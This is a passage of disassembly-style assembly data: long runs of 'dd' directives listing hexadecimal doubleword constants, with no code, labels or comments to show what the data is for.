		dd 0B961D722h, 338423FDh, 7BA7B2F3h, 0F86189Eh,	0ED711B58h
		dd 3B4A4BA3h, 6514744h,	0D3CA1245h, 85A0B725h, 2B4DEE3Ch
		dd 819A6C49h, 0A6A4855Eh, 28135C16h, 201A06B1h,	0FB165F94h
		dd 0CFBFE064h, 8ED2DB6Dh, 3A6C63C4h, 0BBABE38h,	0C4354A36h
		dd 9F4277A1h, 0A5B5351Ch, 4EDA5648h, 45D0B0C7h,	0F84FEDE8h
		dd 2D137604h, 40F607C0h, 538B993Bh, 0CF57BDD7h,	85FC81ECh
		dd 407221F3h, 4FB163C5h, 111C8D96h, 0D14C69BEh,	884B0425h
		dd 7006AD98h, 0FFC77AA6h, 43E11E7Dh, 39475BB0h,	0E444F9B4h
		dd 96940EC6h, 403B0B64h, 83DE9B92h, 41EF4317h, 148CE270h
		dd 61F8C24Bh, 0F64105AEh, 0DD63B762h, 0F63DE353h, 678E1EE3h
		dd 0C25EDAFAh, 7F4586A2h, 0EA634510h, 0F0DD79B3h, 0CEEB6680h
		dd 0F9DDA40Bh, 48163DC0h, 0C30D26C5h, 0ADB5B3BDh, 0AABA6D5Ah
		dd 6AD1276h, 91CE931Ch,	0D8DBCCCDh, 824CCC59h, 0E2E6C033h
		dd 8988A77Eh, 4B9ADCC8h, 9B813769h, 93506A7Dh, 9078186Ah
		dd 189CACC8h, 771FB0D4h, 0B9B9F5A9h, 0FFF23633h, 194364C5h
		dd 958167D4h, 0A349F611h, 0A13E94BCh, 69BB4484h, 29269581h
		dd 3775425Bh, 0C643E1ADh, 0FECEA971h, 0BBC11137h, 62CEBA6Fh
		dd 3D38A8DEh, 0F6F577B7h, 45ACEE85h, 98845232h,	0D7F13E43h
		dd 0FCE847F0h, 0D3C41ECEh, 63EFC34Fh, 72BA19B5h, 1D67781h
		dd 6EF92561h, 60E3E2EAh, 4628E659h, 328094E3h, 98C3F4ABh
		dd 0A6D3377h, 0F8D37DF1h, 0BA3D14B8h, 0E50477E6h, 76061CAAh
		dd 3EE34A63h, 1E3507DDh, 0CB2DE4F4h, 0DD47FD9Bh, 33FA175Ch
		dd 5F74104Ah, 0A376148h, 31A79425h, 0A71A9C85h,	2FE933E4h
		dd 0D45CCB11h, 0F611A092h, 7B264A8Bh, 1B918691h, 0C87B2B8Ch
		dd 832EAEE3h, 21095F72h, 0FFB5A9D5h, 404B04ECh,	0B065461Dh
		dd 0D7AB83E1h, 3D4DBC41h, 0E76B0C50h, 921EE3D0h, 47E8D571h
		dd 9AD7C7EFh, 0DC8E6880h, 0D69F69F7h, 4E502658h, 6695F406h
		dd 0F355EBA5h, 427EEE63h, 9A70D860h, 9C918A0Bh,	0A7120600h
		dd 0CBBD08F5h, 6E7759Ah, 0DEA1AAD4h, 0FEA20227h, 69D99688h
		dd 2B192A61h, 9B647000h, 84FD84B0h, 0D502EE1Bh,	7C118BEAh
		dd 0C3D8B1E8h, 4E0EAC9Dh, 3920018Dh, 0F593D801h, 35C29008h
		dd 224F9297h, 9E375832h, 0A9A96BC8h, 0F628F4F9h, 9C78B9DEh
		dd 1CDFE34Ah, 481BF06Fh, 1A3551D9h, 175367EBh, 0B7BC2B6Eh
		dd 6C831FBBh, 2FB81904h, 0CAC472BDh, 54A5BEC3h,	320ACE7Bh
		dd 0CE2A5F89h, 349F56F3h, 41867967h, 0B870C000h, 44E78117h
		dd 0CCCFB104h, 0F6ED2F2h, 0D7C88CF8h, 6D644FCh,	2B9B8012h
		dd 0B45B0830h, 16408A03h, 5ACCE226h, 0D8098F50h, 831DFE32h
		dd 19D3E2A3h, 0EC57A3F1h, 4F23FDC8h, 39C07043h,	92CB48Ah
		dd 0C39A96A9h, 3AA66500h, 51815E2Bh, 6A0F70E8h,	0CAE67CF6h
		dd 3F567158h, 0C4479EA7h, 0CF2D5852h, 3ACC3FDDh, 0DB96E975h
		dd 1CFE2DE9h, 628322A5h, 2EA43C1Dh, 86A97869h, 0D25B9C85h
		dd 3694C4F8h, 63CB64DEh, 3991559Eh, 24D112A9h, 5E458B88h
		dd 0BC266F31h, 75802194h, 3410C917h, 0C0E21348h, 0B6054EB1h
		dd 8D9626Ah, 5C9C3F1Ah,	7C7C2A16h, 0EA1A2CDCh, 0C2225580h
		dd 43FAA288h, 7E7D3A81h, 5EF920A3h, 43324D0Dh, 0B5D37BBCh
		dd 70599064h, 0F59A75BFh, 0A40F85D8h, 34D7E6CAh, 53A8A13Dh
		dd 29D32FAAh, 0B3D2F2FCh
		dd 6C6E4AD7h, 0D62AFF3Bh, 6F3FA8B8h, 5748888Dh,	3B8D2D4Bh
		dd 264FDB27h, 3B5D1DBCh, 21E8536Bh, 60133CFEh, 7456B5Eh
		dd 2B715931h, 347F4283h, 7C346184h, 9865243h, 0BABD5C5Bh
		dd 416E0F77h, 102D73E8h, 0F410F00h, 5CA3388Ch, 4B192ADBh
		dd 0A302BB5Fh, 0B9CA6ED0h, 0FA371059h, 652D5DD8h, 1484428Eh
		dd 7F5327F2h, 0ACB3C7AAh, 71318C0Fh, 6259EC92h,	1AD8E8E1h
		dd 0C7583E08h, 959D1198h, 99C48EEh, 4B78BD36h, 0BD64D6DFh
		dd 99AFCAC7h, 82675898h, 5AD91E4Eh, 0E5F05BBEh,	27557614h
		dd 56DFFADDh, 0CAEA8F08h, 1AA68D88h, 7D798C35h,	23F393A2h
		dd 5714736Ah, 1656F41Dh, 0E4372990h, 0AD642B5Dh, 0FFDC84D2h
		dd 52830752h, 0D6B3BD4Ah, 0F8762CDFh, 77C224A2h, 0F9622179h
		dd 43459241h, 0DE5E3BF3h, 0C9925712h, 2B44F31h,	0D5C678E8h
		dd 0B3011F34h, 7DDE5F49h, 0DD519A64h, 0EAE481D1h, 0CAB48545h
		dd 0AF667EEEh, 0F0007DE9h, 51B1110Ch, 0C989D483h, 0B9A2C822h
		dd 4B57D3FEh, 20F621CDh, 0DB022FC9h, 9DCBD89Bh,	3CE318D5h
		dd 752EF6D5h, 189D9031h, 62982EE1h, 303A8BF5h, 75C84ACDh
		dd 18085373h, 0CD48DE3Eh, 82D4D8A5h, 9B8635B1h,	0B7EC5BD5h
		dd 5EB47872h, 2EF77811h, 5DD91911h, 3F784C65h, 0E67FC46Dh
		dd 8D2B7614h, 0DB5DA56Dh, 42ACAF3Eh, 78678F5Ch,	1AFC25D1h
		dd 7DDE008Dh, 53360EA8h, 0B9AD96DBh, 98C78C3Ch,	4AE0FC52h
		dd 0DF435018h, 0E03EDD5h, 5597374Fh, 48BC6481h,	3BD7F286h
		dd 28D9BE4h, 0EE94AAF4h, 0A7768AB0h, 93FFCA09h,	615967BBh
		dd 789F90D8h, 74C48383h, 0F101D074h, 0BF9372B9h, 1832D730h
		dd 17D85B8Fh, 0DA417F3Eh, 8E3CD948h, 0CFAE5850h, 0F34FD4E0h
		dd 2C366360h, 8DC525EFh, 3618A91Ch, 0E9016B1Dh,	51DC3692h
		dd 84C64E79h, 21C33Eh, 0D0A9B13Ah, 0E7FC2FA5h, 29BB55D7h
		dd 0F4866F12h, 7FD4BA6Fh, 0D7DE3154h, 29E6BF4h,	8AC47C4h
		dd 0F944C434h, 7C2037E6h, 3D65F9CCh, 1C6FA8B3h,	0BACEF298h
		dd 4F608477h, 0B5283C19h, 43C876FAh, 34FF60FCh,	651757ACh
		dd 8351EF58h, 0D722E0B2h, 1C43B59Ch, 1D710DD7h,	4F27A9FFh
		dd 0EDACA818h, 0C2D5ABF2h, 0A0913670h, 393D6F8Dh, 50FF6C03h
		dd 409960AEh, 482BC90h,	98E6BBCDh, 0D3593A68h, 0EEC0604Eh
		dd 506C384Eh, 0F3873B2h, 783FC54Eh, 5FDA948Ch, 327E3C40h
		dd 8C4E083Ch, 34E94E5Bh, 0F300F306h, 399EE99h, 9178A207h
		dd 0F0FEBA96h, 0D2CB2A94h, 6F10B4E4h, 6BBB71BFh, 309271BCh
		dd 0F81209h, 0A3137A16h, 0A2EE137Fh, 91AB6F7h, 765B8C77h
		dd 0E5C0938Dh, 28D9BC22h, 8870F27Ch, 37AE8251h,	202C6841h
		dd 83CC9226h, 0DFD9AF61h, 3802147Fh, 41CFA133h,	44E7522Ch
		dd 0DFBC7242h, 1AE0351h, 815D0D10h, 5697A5EDh, 0B9B2914Dh
		dd 0D312E730h, 86C4A58Dh, 2CDFA60h, 29E391C9h, 1C36F632h
		dd 0B22C22E4h, 72D3AF1Eh, 0F51DABBEh, 0E5553705h, 0BE3289C5h
		dd 1FFBEBBAh, 287E411Bh, 0DADB01A7h, 9139FF40h,	48E3213Ch
		dd 0A2EE5427h, 673EAEA4h, 5400D5D8h, 8CD285Ah, 5B213C32h
		dd 0F3D14B8Bh, 0C8D2ABCFh, 78EBB13Eh, 7751FA52h, 0D32DC200h
		dd 31576E3Ah, 0FC8695CFh, 0EEE7269Dh, 23873343h, 0FC2F00D7h
		dd 771C7857h, 13B2EB41h, 0F33082C2h, 0F2739493h, 0C013B96Eh
		dd 387974BBh, 0B2F5A6D3h, 0DA2C7B85h, 1B481430h, 0E73B0376h
		dd 0F83E209Ah, 8BB8FE42h, 67A6A79Eh, 0B7908F72h, 67615C1Ah
		dd 0C28DF00Fh, 5983D715h, 426F784Ah, 0D96BDE10h, 48FF769Fh
		dd 36A7CBC2h, 55EDBA22h, 3C5FAB30h, 43C1523Ch, 363ADFC4h
		dd 0D2C22A2Dh, 6C5DF387h, 4A5CF640h, 0F5056328h, 9ACBD4DAh
		dd 8F373563h, 0E1560C9Ch, 0B5061364h, 5D29B81Dh, 76D08762h
		dd 0AD5D4684h, 440D4612h, 0B59C35DDh, 3955B00Eh, 3BE599A7h
		dd 0FEDAC0CBh, 0A930DBB3h, 13C26B8Eh, 2948112h,	9F537A09h
		dd 571E9358h, 316A941Bh, 12D39D4Ch, 0D332532Eh,	53D4C7E9h
		dd 8A0DEFBAh, 0F7140943h, 0B1B89D68h, 0FD06687Dh, 0B2EB07A5h
		dd 290AA540h, 1B073651h, 2649269Ch, 6E638293h, 26CB0463h
		dd 94E87386h, 0E87AC7DEh, 605FD1C0h, 0D9AD37D5h, 0E075EA35h
		dd 868BC0FDh, 89E91898h, 4144B121h, 4D886EBDh, 23B8A436h
		dd 0DCE5E799h, 219C1C11h, 283641D2h, 18E6FB43h,	6CF85CFEh
		dd 2A7DA3F9h, 1CF609F5h, 6D109296h, 5B56C488h, 66E0C329h
		dd 87D75E46h, 0DB5B77AEh, 99AC37A1h, 0F44DDE8Dh, 98F0AD8Ch
		dd 85A822E9h, 716DE3B0h, 2E260587h, 103F44BCh, 2A22CF32h
		dd 8DF96041h, 0FD879EF8h, 2A22DE2Dh, 798DE069h,	0A053AE7Ah
		dd 0BD66D649h, 0D52F1175h, 0D6DDFFFCh, 2AA7144Fh, 93D3DDE9h
		dd 132AFCAFh, 0D1F0FFDCh, 129EAC04h, 0B880AFCBh, 0A1C4023Fh
		dd 28144F8Eh, 5FEACCFAh, 0FF437C2Eh, 84420A4Fh,	6797D32Eh
		dd 3CBF3DDDh, 0B28E306Ch, 0F68CC13Ch, 6360F600h, 2C8A24ABh
		dd 0FAA1396Eh, 5F147F99h, 5C1A07EDh, 0E3C3D133h, 871A8D3Bh
		dd 79AA809Dh, 3D5CA722h, 0ABAED148h, 0CC90C5C4h, 31AB72AFh
		dd 0DDC9B28Eh, 25B18723h, 0FE77FAEEh, 75A787EAh, 670932DFh
		dd 0F285F3CEh, 2DE52CA3h, 0C93CBD54h, 0EF200AC6h, 0C954CF47h
		dd 5A2FCAC7h, 9115BBD6h, 68D664A8h, 8D51CEB5h, 52900351h
		dd 0C07170E7h, 55E6A208h, 738AC592h, 0C3292024h, 4D2C06E4h
		dd 64BABCAh, 8F3A8C44h,	16F9ED5Dh, 32C8A91Fh, 0F80CE8E0h
		dd 39B204BCh, 5C1F77FAh, 8F28C37Dh, 3DBC8B92h, 0A73C43B1h
		dd 0D1210DD0h, 247317C1h, 7C7584A8h, 0A5E79C47h, 3E28F17Bh
		dd 15B205FCh, 770E7438h, 7A805369h, 75E77F16h, 6F3D957Bh
		dd 5A209ED5h, 92D4194Eh, 0EE6E21C3h, 44F5CD78h,	3C65E6Fh
		dd 0F5D9D5A8h, 195401E0h, 0E2D3621Fh, 6457A2B4h, 6A525528h
		dd 0C694E019h, 0DF7A66F6h, 0EB549BC3h, 9BD77134h, 0FD3EA15Bh
		dd 42ED0B5Dh, 643DB9F3h, 7FAAAC85h, 0FD03A3BEh,	3CAE155Dh
		dd 0E5FA6082h, 92DDB439h, 0F5517714h, 4F1A514Dh, 0F2F19671h
		dd 242594A3h, 7F89F507h, 340283D8h, 4757B7A9h, 0E29C30E3h
		dd 0B1F14FD3h, 4D3A8D9Dh, 676512E2h, 7B213A1Dh,	0A3AE80CCh
		dd 0E2D51DE3h, 0C2F6B6DEh, 42412162h, 2D08F72Bh, 0F7359917h
		dd 7F40A130h, 2CDBD7E6h, 0EB90A0FAh, 30B42335h,	90E58B98h
		dd 0CE779C67h, 3B036441h, 5AFB6DE3h, 0E0228A15h, 0BDAF37BAh
		dd 9E04EF7Dh, 0EC2FB7BAh, 0AC7831B5h, 0EEFD9C8Eh, 6D01635Bh
		dd 6263231Ch, 0C56D9D01h, 72639336h, 446EF713h,	22930028h
		dd 5C9FF7A6h, 6478101Ah, 0F2435FFFh, 2DD385A7h,	789996EFh
		dd 83809D7Bh, 7791E3CDh, 80C0AE7Bh, 0D1E9EEEEh,	4AC48D94h
		dd 30CFA5C1h, 0F114302Fh, 7E710DBCh, 6F4381A4h,	0C50C8DDBh
		dd 0DE3E51D7h, 44F286B3h, 2E7E1B88h, 2B0727FFh,	52F94E14h
		dd 6C239A48h, 0F3AFBF40h, 0BF052B50h, 1DAFD180h, 747A02B8h
		dd 8A9D870Ch, 7F116F9Ah, 0E96B21FCh, 19E99C31h,	97A1938Eh
		dd 554FF75Fh, 2923800Ah, 50C737B7h, 0E9A4F012h,	3355AFFBh
		dd 0CC657DA9h, 68DC6AECh, 0BE2DF7Ah, 3B80C2CDh,	0AEC83EFBh
		dd 0E0EC26AEh, 5346E9B4h, 348E93D1h, 0F374AB27h, 7D61C638h
		dd 6FCB6362h, 0C4C87B3Ch, 5E1CA960h, 4C07D04h, 8E6699A7h
		dd 9B1BE6ECh, 0AFFAE9Dh, 0D8256A0Ch, 29AE476Eh,	0A4055743h
		dd 8B2FF389h, 3FBA13BCh, 0A83D8F8Ah, 4EA16BDDh,	70B327DBh
		dd 5C559F26h, 35F79019h
		dd 0E650F798h, 71B600EDh, 0E5007780h, 0B3815025h, 8864FFF4h
		dd 9AFDD5AAh, 3300BEEDh, 0BD44097Ah, 0E03629CDh, 0BA11C97Bh
		dd 0F5505C6Eh, 5890CA54h, 36318161h, 0F2A123DFh, 7CBE8294h
		dd 6E7EC558h, 0C49F2811h, 0DE0102EAh, 0C4D629C1h, 0EE61CF41h
		dd 8B1E4DDBh, 82FEF92Ah, 8425C0C3h, 8FAE908Dh, 1505BDF2h
		dd 0D0AF1871h, 0BFAE510h, 0BDDD7570h, 55B16870h, 0F63B2561h
		dd 9F919FCBh, 555590ABh, 0F7E1F7A1h, 0F86E80C1h, 393DB78Ah
		dd 55973020h, 997BCFF2h, 91784DADh, 0BF47F2EAh,	0E0A5AB7Dh
		dd 412678CAh, 0B99E1FCh, 0AD144829h, 0ECF2DC73h, 60208A76h
		dd 49A9A468h, 2A3B4053h, 0D5BCA6B7h, 923E18A2h,	65B19A13h
		dd 920EE5EDh, 0F5DC2D7Bh, 7EC83CD6h, 45CA97FBh,	757B50A6h
		dd 0FBEEDA46h, 16D0E092h, 2E958E70h, 0E6A6B920h, 7D8C4CE4h
		dd 0D966C922h, 758CB7D8h, 5CFF414Fh, 76C13A56h,	377FA3B1h
		dd 4577C2B3h, 7D399F8Ch, 9F5641D2h, 3A7BDE04h, 0B58CD2FFh
		dd 0FF452110h, 82D62859h, 0DA174E3Ch, 3579EFAEh, 0CDA25413h
		dd 0AD5C9B15h, 0EBC71594h, 1CA97DEDh, 4E2B68DEh, 0D1559695h
		dd 9B9F4CFh, 64AFCA92h,	0B1E3C92Ah, 0D1339B74h,	0B64013ADh
		dd 99205ED6h, 3460EAAh,	0C168BD4Dh, 0C94886D4h,	0C129F754h
		dd 3665EC88h, 46E310BAh, 5760D2C7h, 0A0E28140h,	0F28B4FEAh
		dd 94930A67h, 0E6906E98h, 0E002E5C2h, 13A1CD5Ch, 0F1930B9Fh
		dd 44822F74h, 0FCF956BBh, 9FB673Eh, 0D31A113Ch,	5306D73Dh
		dd 94AD9A95h, 0FF7350FCh, 0DEB624D5h, 240AF5C8h, 0B830D29Eh
		dd 6DC3C1DFh, 898E3F8h,	697F077Ch, 0FC28BEA8h, 0DCDA9966h
		dd 280068B4h, 0D8D95ED4h, 9DD91897h, 0CD348481h, 0DCDFA66Dh
		dd 7EC10E8Dh, 444F4E90h, 0E13C05A1h, 0F46908EFh, 0BEC37D5Ah
		dd 74A552BCh, 0D7584807h, 7F9A4E8Bh, 8FC7B394h,	0B077F612h
		dd 0ED777DE7h, 4391ABDDh, 6D6CC060h, 0E906BF0Dh, 0B66EE523h
		dd 28550F16h, 0D6B6FFCEh, 77395380h, 0F620BDD9h, 0DE1CA6A9h
		dd 0A187D65Dh, 0DF70CB6Ch, 82F2BCF1h, 92883942h, 0CBBDA868h
		dd 338C4B61h, 76F9D90Eh, 99BACF35h, 0F7ADB1C6h,	0D91F233Eh
		dd 9025123Dh, 0B7C2D331h, 2A4C6765h, 824DE515h,	0E97EE620h
		dd 5959A3DDh, 0E21D2F2Dh, 9BE1BF42h, 659E6E81h,	0F0951ED5h
		dd 4C27FCF1h, 5690BA03h, 0EF6B1F9Fh, 8ECFA6ECh,	9ACCD347h
		dd 0A37C9989h, 0FC3907CBh, 21D8D11Ah, 5AE9A839h, 4A10649Dh
		dd 6B7A03B1h, 3F8C055Eh, 0A4A04DE9h, 0BDF0604Bh, 0C9E551DAh
		dd 0BD6178D7h, 0B65C9ACEh, 6BF8EF39h, 6652E24Ch, 7810148h
		dd 6CCC6462h, 19DCE25Dh, 0C37F139Dh, 6610563Ch,	0C9FC086Dh
		dd 1E494FD8h, 0BAD41D65h, 637CCBF0h, 2435EDADh,	0D7DC92AFh
		dd 2953B1F9h, 0CC551784h, 0A33270F8h, 0F310BF2Ah, 0AA75F593h
		dd 82CF6F19h, 0B97609E7h, 47AD773h, 0A729C715h,	84A61CE0h
		dd 3EAF6DDBh, 3A963437h, 0D549AC14h, 0B0B07F70h, 0A0E8EE3Fh
		dd 0E2466D71h, 21134EC6h, 34B1B90Ch, 0E2C64AF2h, 0E8AB07EDh
		dd 98DD6D2Bh, 40271347h, 97A99B3Eh, 85272DAh, 4D99E5FBh
		dd 0D4F146B9h, 1B2BD7FDh, 5CAB6F0Ah, 8F3058E1h,	0FBF37E9Fh
		dd 735F19C9h, 66405CDEh, 0C9CCC3C3h, 5A69BD3h, 3D865F89h
		dd 616D9151h, 813ADBBEh, 0BD2355BBh, 7F7856E4h,	58035D76h
		dd 0F2A45A0Ah, 55014DF8h, 8B1902E2h, 36F0F4F5h,	3A35E9B7h
		dd 0F5648F99h, 62932903h, 1BE132D2h, 81845648h,	71EDDF66h
		dd 576EF21h, 4195108Eh,	0A77A773Ch, 8F49CBB8h, 26B33186h
		dd 0E8313548h, 0E488C81Ah, 0D4E96041h, 0EB5CB355h, 343DDF26h
		dd 66D1DA95h, 7BE9D783h, 50377945h, 0B92811Fh, 20202DE2h
		dd 0B8FEAE8Fh, 0D6D4F362h, 0F180EB1h, 0C2548326h, 3FD53EDEh
		dd 0A1E5E70h, 2FF7AB2Ah, 0DEBC778Eh, 39D21FE0h,	0F1D7D004h
		dd 3F824A58h, 0F44FFB50h, 6711EE82h, 0ECA03CF3h, 726A3CBEh
		dd 409B7463h, 838D5989h, 2019F912h, 18BC974Dh, 825FB693h
		dd 7E29ABD1h, 0C7A9D5B0h, 0B467E7Ah, 0F419EC58h, 0A77B7D1Eh
		dd 7BF2E7D7h, 69AA9C83h, 867D271Eh, 2B36EB4Fh, 5A0C9C6Fh
		dd 0D24B7AC0h, 0F2BEDBAFh, 862E86DDh, 0D295B663h, 6A68C299h
		dd 1A1EB2C9h, 0A7C3EC5h, 0C3AB66F2h, 884352AAh,	0C67A6A95h
		dd 22159347h, 1FEF6D9Ch, 688EFE35h, 68A73E7Ch, 8E3F439Fh
		dd 505A4BD9h, 407308F7h, 0A9F82A7Bh, 42BE1851h,	0AA611416h
		dd 5ED86490h, 0C3F8A232h, 0C239E334h, 92A8935Ah, 0BAC9FA81h
		dd 90F3B718h, 535B8764h, 3B1F1F92h, 0F1C0C70Eh,	7EB58D9Dh
		dd 0AB782C46h, 0F911F210h, 90030199h, 0AC627B28h, 9B03CC96h
		dd 0BB22F10Fh, 0CFCC8630h, 7A99FB32h, 87FCD6E5h, 0C162121Ch
		dd 2B960F28h, 0A870192Bh, 0A70BCD1Dh, 13533FC3h, 0B574923h
		dd 69120A2Ch, 0C0C10744h, 0CBC62889h, 0DF7C1A7h, 1EDE3725h
		dd 9EEEB038h, 0DABD3C4Fh, 2E1CBCF1h, 172C7423h,	0AE671A2Bh
		dd 0E735B19Ah, 328C33A2h, 36D26E1Ah, 97E76BD1h,	0D301EF76h
		dd 0C4C40BE7h, 0B4796F58h, 3456E97Fh, 9B9187DFh, 548BDE27h
		dd 8B50B6F3h, 41CD0785h, 69E0F58Dh, 7DF6E9BDh, 0E47B361Ch
		dd 5C1D3BC6h, 3B5266CAh, 0F3AE227Fh, 5624D2F6h,	0F00C4761h
		dd 50074D88h, 0D3939918h, 9439BBA8h, 0F7A12D65h, 94AF1315h
		dd 0D76AF927h, 0D06AE9CEh, 710F0EE4h, 6E5A320Ch, 9950733Ah
		dd 51172907h, 0B042259Eh, 0A23E4EEDh, 0E045D482h, 310C0120h
		dd 278B843Dh, 672F0B91h, 57E538ADh, 0C4FFD4B7h,	0E2827824h
		dd 551AD963h, 2C6D249h,	0D50F9244h, 79B6B25Ch, 93E05F1Eh
		dd 44E1DCBBh, 6E7AA068h, 91B91AA8h, 0F3EFB165h,	6E7AE2C4h
		dd 0CE04DA4Fh, 660C12Fh, 7D95EE57h, 5DCAA324h, 97D8ECD8h
		dd 0DB94811Dh, 39996628h, 0B3C70A01h, 2A53FED8h, 19D99A35h
		dd 9A512386h, 415BED4h,	8DB459E2h, 0AD168308h, 8A130DB3h
		dd 2B53EAC4h, 0D0FE431Dh, 75E25B3Ch, 0ABD98004h, 94812F24h
		dd 3115B9E2h, 0F6CD0EE8h, 0F903AD7Dh, 205F557Ah, 1B98D242h
		dd 21DCFD62h, 0DC1CC1E8h, 0EA39C1D0h, 0C7D97BBFh, 6FAC3551h
		dd 9DD7E07Fh, 5E6BE30Eh, 6A7D05CBh, 66932395h, 238F5B12h
		dd 0F3E4CD32h, 0D076D31Fh, 2D6A9A0Eh, 8B2271A2h, 892727Ch
		dd 0B7426F29h, 5D08E163h, 0DE693D4Dh, 470CD119h, 7ECE105Ch
		dd 8C6114F6h, 0BA072091h, 17EB979Ah, 38AA1A36h,	7A8CF514h
		dd 86FC33EDh, 533659E6h, 0B83A3B4Ah, 4C784EC5h,	0F69D3056h
		dd 4627202Bh, 0A1EECD1Ch, 0E931A5C4h, 0C10AA1A2h, 0CB3E516Ah
		dd 0A37E706Bh, 9E925596h, 0BA5D1CC8h, 0A24835CDh, 57DA4B20h
		dd 0B3F5F0D5h, 0CFB988AAh, 0C8ECB49Bh, 4C5D40E2h, 8332E0EDh
		dd 1AC69FFFh, 0FC947F4Fh, 31698694h, 0D963B760h, 0D93FDB2Eh
		dd 0A0E409h, 3FF2FE5h, 62CF6C6Fh, 0E7C77D36h, 2A0FD0F8h
		dd 15EF5B10h, 95208E09h, 81749B4Fh, 1D41852Eh, 9734DEE8h
		dd 0EC93D4D5h, 0F9426681h, 200E5204h, 0B88A0A9Bh, 47A37B14h
		dd 0ACF30485h, 6E97F9F5h, 414734ACh, 3396BF18h,	280F15D7h
		dd 391CA1AFh, 6BA929ACh, 0F42995E9h, 0C3704F94h, 0A9F9FBEAh
		dd 8D5A95B5h, 0F4BBC3FEh, 6BB64F0Fh, 70D6BF97h,	0D8BBF5E4h
		dd 31E42880h, 6B0AFADAh, 5C8FE96Ch, 0D9A7D921h,	2B9E3273h
		dd 91DA72F0h, 865A28F2h, 0D635ECBh, 6186C57Eh, 808BA7A0h
		dd 46C2F98Dh, 0CA38A5A5h, 0FE732053h, 5D0FA57Bh, 57453177h
		dd 0A974AB03h, 0BA123951h
		dd 0F0ABA7A3h, 0C9832D62h, 0E590AF4h, 73D1767Eh, 81132D66h
		dd 7AF61ADCh, 2AD60CF7h, 5F144C83h, 23512E6Fh, 5FD95B82h
		dd 0A368B4CDh, 80808EE6h, 14C73A0Dh, 0C148A909h, 6A35F061h
		dd 709F532Ah, 2B1FD86Eh, 0B1FD48C1h, 0B3BBB862h, 622CFE3Ch
		dd 0BF2B2A4Ch, 1F9F2AE6h, 0EE5A4580h, 2867E253h, 0F64C73FCh
		dd 61A34042h, 0B0344199h, 0B72B7471h, 0AA18D740h, 0D9F009E5h
		dd 65917E80h, 48DAD50Bh, 0BAF9195Bh, 293D607Ah,	86320FA9h
		dd 0D637752Dh, 3C9F10C8h, 0FF627477h, 0DCC8FBDCh, 4E475CF0h
		dd 716FB01h, 0D346A1E6h, 0BC83E2C0h, 0FBE15764h, 6D7AB6F5h
		dd 967A08DFh, 83F650FBh, 6F45166Ch, 6287EE7Ah, 2F25AC85h
		dd 1D45FBC0h, 0E2224779h, 2F259FDAh, 1D08B7B9h,	65BA3727h
		dd 3D20C162h, 0D9AE9AFDh, 6C0F7C59h, 5CC56625h,	13C51669h
		dd 80885791h, 0D12E9D4Fh, 0E584625Fh, 0AE63EAD3h, 1104B1Fh
		dd 35E21A38h, 7374FDBBh, 0A6ED9291h, 0AEE45909h, 0B9777581h
		dd 0DF23D99Dh, 8943C868h, 891E6280h, 1ECF301Dh,	0BED553F5h
		dd 21701812h, 73A019C6h, 0D42F3A7Dh, 0D2255BBCh, 53ACBCA4h
		dd 54BB235Bh, 3BCA7A97h, 9990343h, 0A8762C58h, 0D6274167h
		dd 0AC6FE9B0h, 0E4ADC311h, 0F0A6B7Ch, 0B4EEFB00h, 0A24A3878h
		dd 0EE975FADh, 0D39A0019h, 0A29D7826h, 0C2957A29h, 9002A43Fh
		dd 5949A87Dh, 0B3301C81h, 4C6A8632h, 5BEE6BE3h,	93A131F2h
		dd 49612FDCh, 6C662B5Bh, 0A4A96249h, 34D7DB52h,	5738C9F1h
		dd 9871DC72h, 6C8686A3h, 190831EBh, 0B3CFF759h,	915B66A6h
		dd 0B9F05C38h, 47084DE1h, 10121E8Dh, 0D1A9E32Dh, 1742AFE1h
		dd 8D05219Eh, 622C1ABEh, 414D67Ah, 0D924F158h, 0D13001EBh
		dd 0AFA27636h, 49BC098Fh, 0D641514Eh, 5DB0B9E2h, 0C329ECFFh
		dd 9CF67D7Eh, 4FD6A8A8h, 9FB688A8h, 6AD1FB9Dh, 0D04B7AFFh
		dd 0ED6929E7h, 486490F4h, 0B7C07F53h, 7DD68318h, 1579B678h
		dd 786B0D42h, 6BF1172h,	6CE28975h, 0FECB19EEh, 97F33DBEh
		dd 0ACAF5660h, 58D3CB52h, 91517D84h, 0C03A0659h, 79D53C6Bh
		dd 55E79923h, 39844731h, 645CBA58h, 0DF578AE6h,	0B0FE44Ah
		dd 3A3ABD54h, 73C3DE84h, 94F5150Dh, 0D01FE0C7h,	637A087Ch
		dd 3D898573h, 0D84E28A1h, 8A7E8C6Dh, 0DD69CA64h, 540013A5h
		dd 4F61690Bh, 0EBA582D0h, 9EE73D8Ah, 0DA6730A0h, 0EDBA946Ah
		dd 0CCC18ED7h, 8326A238h, 6DAADF1Ah, 0FEEF10C1h, 3F02DE06h
		dd 0FC8BC0E9h, 0BD4BAC75h, 0AE40CD87h, 17917EDEh, 0C91B6E50h
		dd 0BD18E549h, 4008D0A8h, 5F10C217h, 6230133h, 8B6CB9EFh
		dd 40DF9771h, 0DC774A0Ch, 71F0D9D1h, 12E3EB89h,	0C21702E1h
		dd 67685A0Bh, 6E10DFF7h, 28024DE7h, 50A15148h, 49E64FCCh
		dd 334669ECh, 49B36C94h, 44078D01h, 4C2E7ED5h, 0F710ADD2h
		dd 0CF96D2FAh, 9D8AFBE9h, 0D5C8A979h, 0EB43DEFDh, 0E2E1329Dh
		dd 0E16BEF21h, 7C05E382h, 0A7CF6DBCh, 5CB458C0h, 3635EB1Bh
		dd 268536Dh, 7CF15992h,	29F3C47Dh, 9C210DCCh, 6C099C51h
		dd 6EB2390Ch, 85E47988h, 0FDD9F7B0h, 9111EC9Dh,	0E317DB8h
		dd 44E9C8D2h, 41E0F72Fh, 197AE233h, 765C5FF4h, 4DD95EA6h
		dd 0F81939EAh, 9043DB5h, 1F91CFADh, 3945B125h, 25075D25h
		dd 0C47C203Dh, 233A6501h, 723FABEh, 0C8EB6EBFh,	0EC413C49h
		dd 0AC8465Eh, 0E5F51950h, 246B9EB4h, 0BA1D7691h, 1E43A989h
		dd 67AD3D7Dh, 9A28031Ch, 0FD416EEh, 0C1C822ACh,	3E50930Eh
		dd 1B5378FBh, 66EBD412h, 0F065CEEFh, 7C4AF826h,	0A565E3ACh
		dd 0DAF459D5h, 6F61EFA3h, 0D7032D1Ah, 3B512531h, 8893350Dh
		dd 3C8B3B9Dh, 0AB54D58Bh, 872A81CDh, 0D71035F4h, 895C6296h
		dd 3B807BC6h, 5424CEBh,	0ABF653CFh, 1CC40125h, 90046CD8h
		dd 0AFE13790h, 97898367h, 1B38B337h, 1A63FB2Ah,	0F01207Fh
